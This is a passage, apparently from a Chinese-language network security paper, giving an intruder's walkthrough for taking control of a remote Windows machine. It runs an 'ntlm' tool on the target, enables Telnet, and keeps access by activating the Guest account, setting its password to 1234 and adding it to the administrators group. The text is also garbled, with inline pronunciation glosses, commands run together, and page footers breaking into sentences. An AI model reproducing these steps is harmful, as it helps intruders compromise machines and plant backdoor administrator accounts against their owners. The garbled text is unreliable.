輸入ntlm啟動(dòng)（這里的C:\WINNT\system32>指的是對(duì)方計(jì)算機(jī)，運(yùn)行ntlm其實(shí)是讓這個(gè)程序在對(duì)方計(jì)算機(jī)上運(yùn)行）。當(dāng)出現(xiàn)“DONE”的時(shí)候，就說(shuō)明已經(jīng)啟動(dòng)正常。然后使用“netstarttelnet”來(lái)開(kāi)啟Telnet服務(wù)。Telnet2，接著輸入用戶(hù)名與密碼就進(jìn)入對(duì)方了，操作就像在DOS上操作一樣簡(jiǎn)單。8保留訪(fǎng)問(wèn)權(quán)限為了以防萬(wàn)一,我們?cè)侔裧uest激活加到管理組網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第13頁(yè)。C:\>netuserguest/active:yes

將對(duì)方的Guest用戶(hù)激活網(wǎng)絡(luò)安全論文全文共15頁(yè)，當(dāng)前為第13頁(yè)。C:\>netuserguest1234

將Guest的密碼改為1234,或者你要設(shè)定的密碼C:\>netlocalgroupadministratorsguest/add

將Guest變?yōu)锳dministrator。(如果管理員密碼